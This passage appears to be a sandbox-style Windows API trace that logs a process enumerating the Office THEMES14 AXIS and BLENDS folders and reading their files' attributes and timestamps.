ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0056.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0056.462] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0056.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f5648 [0056.463] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f5648, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f5648, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0056.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f5648) returned 1 [0056.463] NtClose (Handle=0x160) returned 0x0 [0056.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0056.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0056.463] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0056.463] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.463] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0056.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0056.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0056.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0056.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0056.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0056.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0056.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0056.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eaf10 [0056.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3b88 [0056.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0056.463] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0056.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0056.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0056.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0056.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0056.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0056.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eaf30 [0056.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3c90 [0056.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6c0) returned 0x9f5648 [0056.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f2fc0) returned 1 [0056.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0056.464] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0056.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0056.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0056.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0056.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0056.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eaf50 [0056.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f45d8 [0056.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0056.464] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0056.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0056.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0056.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0056.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0056.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eaf70 [0056.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f46e0 [0056.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0056.464] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.465] GetLastError () returned 0x12 [0056.465] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0056.465] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0056.465] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.465] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0056.465] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0056.465] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.465] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.465] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.465] GetLastError () returned 0x12 [0056.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0056.465] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0056.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0056.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.465] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0056.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0056.500] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0056.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f5d10 [0056.501] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f5d10, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f5d10, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0056.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f5d10) returned 1 [0056.501] NtClose (Handle=0x16c) returned 0x0 [0056.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0056.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0056.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f47e8 [0056.501] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0056.501] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.501] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0056.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f48f0 [0056.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0056.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eaf90 [0056.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f49f8 [0056.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.502] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0056.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eafb0 [0056.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f4b00 [0056.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.502] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eafd0 [0056.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f4c08 [0056.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.502] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eaff0 [0056.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f4d10 [0056.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.502] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.503] GetLastError () returned 0x12 [0056.503] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0056.503] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0056.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0056.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0056.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, 